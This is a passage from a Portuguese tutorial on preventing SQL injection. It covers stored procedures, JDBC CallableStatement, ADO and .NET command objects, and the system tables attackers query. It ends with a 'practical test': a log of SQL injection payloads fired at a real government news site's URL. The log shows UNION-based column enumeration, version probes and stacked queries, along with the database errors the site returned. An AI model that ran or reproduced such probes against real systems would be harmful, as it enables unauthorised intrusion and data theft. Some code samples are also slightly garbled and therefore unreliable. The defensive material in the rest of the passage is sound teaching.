dados fornecidos pelo cliente modifiquem a sintaxe das instruções SQL. Na verdade, a melhor
proteção é isolar a aplicação web, a partir do SQL, completamente. Todos os comandos SQL
necessários para a aplicação devem ser procedimentos armazenados e mantidos no servidor de
banco de dados. O aplicativo deve executar os procedimentos armazenados usando uma interface
segura, tais como demonstrações mobilizável do JDBC ou CommandObject do ADO.

5.5 JDBC’s CallableStatement

Exemplo:

CallableStatement cs =
con.prepareCall ("{call (?,?,?)}"); accountlogin
cs.setString (1, theuser);
cs.setString (2, senha);
cs.registerOutParameter (3, Types.DATE);
cs.executeQuery ();
Data lastlogin = cs.getDate (3);

5.6 Objeto Comando ADO

Ao utilizar o objeto de comando, os comandos de banco de dados podem ser emitidos. Estes
comandos podem ser, mas não estão limitados a, seqüências de consulta, dispostas em seqüências
de consulta, e os parâmetros associados com seqüências de consulta. O objeto comando pode abrir
uma nova conexão ou usar uma conexão existente para executar consultas.

Exemplo de código:

Sub ParameterExample()
Dim cmd As New ADODB.Command
Dim rs As New ADODB.Recordset
Dim prm As ADODB.Parameter
 ' Set the command's connection using a connection string.
cmd.ActiveConnection = "DSN=pubs;uid=sa"
' Set the command's text, and specify that it is an SQL statement.
cmd.CommandText = "byroyalty" //Name of the stored procedure
cmd.CommandType = adCmdStoredProc //Type is set to invoke a stored procedure
' Set up a new parameter for the stored procedure.
Set prm = cmd.CreateParameter("Royalty", adInteger, adParamInput, , 50)
’ This sets up template for parameter
cmd.Parameters.Append prm
' Create a recordset by executing the command.
Set rs = cmd.Execute
' Loop through the recordset and print the first field.
Do While Not rs.EOF
Debug.Print rs(0)
rs.MoveNext
Loop
' Close the recordset.
rs.Close
End Sub

Se as instruções arbitrárias (declarações de SQL dinâmico) devem ser usadas, use

PreparedStatements. Ambos PreparedStatements e procedimentos armazenados compilam a
instrução SQL antes que a entrada do usuário é adicionada, o que torna impossível a entrada do
usuário para modificar a instrução SQL real.

5.7 Exemplo de criação de SP

Vamos usar como exemplo pressRelease.jsp.

String query = “SELECT title, description, releaseDate, body FROM pressReleases WHERE
pressReleaseID = “ + request.getParameter(“pressReleaseID”);
Statement stmt = dbConnection.createStatement();
ResultSet rs = stmt.executeQuery(query);

O primeiro passo para garantir esse código é tirar a instrução SQL da aplicação web e colocá-la em
um procedimento armazenado no servidor de banco de dados.

5.7.1 Criar SP – Java

Criar um procedimento armazenado, como mostrado abaixo no servidor de banco de dados usando
a interface do cliente.

CREATE PROCEDURE getPressRelease @pressReleaseID integer AS SELECT title, description,

releaseDate, body FROM pressReleases WHERE pressReleaseID = @pressReleaseID

5.7.2 Usando instruções chamáveis em Java

Em vez de construir uma seqüência de instruções SQL para chamar o procedimento armazenado,
um CallableStatement é criado para executá-lo com segurança.

CallableStatement cs = dbConnection.prepareCall(“{call getPressRelease(?)}”); cs.setInt(1,

Integer.parseInt(request.getParameter(“pressReleaseID”)));
ResultSet rs = cs.executeQuery();
5.7.3. Exemplo em Rede

Em um aplicativo. NET, a mudança é semelhante. Este código ASP.NET é vulnerável à SQL

Injection:

String query = "SELECT title, description, releaseDate, body FROM pressReleases WHERE
pressReleaseID = " + Request["pressReleaseID"];
SqlCommand command = new SqlCommand(query,connection);
command.CommandType = CommandType.Text;
SqlDataReader dataReader = command.ExecuteReader();

5.7.4 Uso do Objeto comando – Net.

A instrução SQL deve ser convertida para um procedimento armazenado, que pode ser acessado de
forma segura por um procedimento armazenado SqlCommand:

SqlCommand command = new SqlCommand("getPressRelease",connection);

command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add("@PressReleaseID",SqlDbType.Int);
command.Parameters[0].Value = Convert.ToInt32(Request["pressReleaseID"]);
SqlDataReader dataReader = command.ExecuteReader();

6. Comparação de servidores de banco de dados

Bind
Support to Use of INTO/OUT
Database USERNAME Variables/P Access to
Multiple EXECUTE FILE
Serverparameter () repared system SP
statements command functions
statements
MS SQL Server
Oracle X X X X X
PostgrSQL X X

6.1 tabelas do servidor de banco de dados que são utilizados por atacantes

6.1.1 MS SQL Server

Sysobjects syscolumns
6.1.2 Oracle

SYS.USEROBJECTS SYS.TAB SYS.USER_TABLES

SYS.USER_VIEWS SYS.ALL_TABLES SYS.USER_CATALOG
SYS.USER_TAB_COLUMN SSYS.USER_CONSTRAINTS SYS.USER_TRIGGERS

6.1.3 MS Access Server

MSysObjects MsysRelationships MSysQueries MSysACEs

Referências:

SITE_1: Disponível na URL: http://www.securitydocs.com/library/3587/, e acesso em 19/05/2011

SITE_2: Disponível na URL: http://unixwiz.net/techtips/sql-injection.html, e acesso em 19/05/2011
 Teste Prático SQL Injection

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 ';--union select @@version UNION select

id from noticias where id=1650

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near '--union select
@@version UNION select id from noticias where id=1650' AND posica' at line 1
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNIONALL select id,dataCorrigido from

noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]Unknown column 'dataCorrigido' in 'field list'
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1511 '--show databases'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near 'show databases''
AND posicao = '1' ORDER BY dataCorrigido DESC' at line 1
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'union select @@version--'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]Unknown column 'posicao' in 'field list'
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select id from noticias where

id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]The used SELECT statements have a different
number of columns
/comenta.asp, line 183
http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select id,dataCorrigido from
noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]Unknown column 'dataCorrigido' in 'field list'
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select id,posicao from

noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]The used SELECT statements have a different
number of columns
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select id,posicao,posicao

from noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]The used SELECT statements have a different
number of columns
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 'UNION ALL select

id,posicao,posicao,descricao from noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]Unknown column 'descricao' in 'field list'
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650 –UNION ALL select

id,legenda,titulo,resenha,texto,data,texto from noticias where id=1650--'

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near '1' ORDER BY
dataCorrigido DESC' at line 1
/comenta.asp, line 183
http://aurora.ce.gov.br/noticias/texto.asp?id=1650; '- -select count(*) from noticias

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near 'select count(*) from
noticias' AND posicao = '1' ORDER BY dataCorrigido DESC' at line 1
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650--';select * from noticias where posicao='1

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near 'select * from noticias
where posicao='1' AND posicao = '1' ORDER BY dataCorrigi' at line 1
/comenta.asp, line 183

http://aurora.ce.gov.br/noticias/texto.asp?id=1650';select * from noticias where posicao='1

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[MySQL][ODBC 5.1 Driver][mysqld-5.0.91-community-nt]You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near 'select * from noticias
where posicao='1' AND posicao = '1' ORDER BY dataCorrigi' at line 1
/comenta.asp, line 183

select id,titulo from noticias where id=1;select * from noticias where posicao=1 and posicao=1
order by data;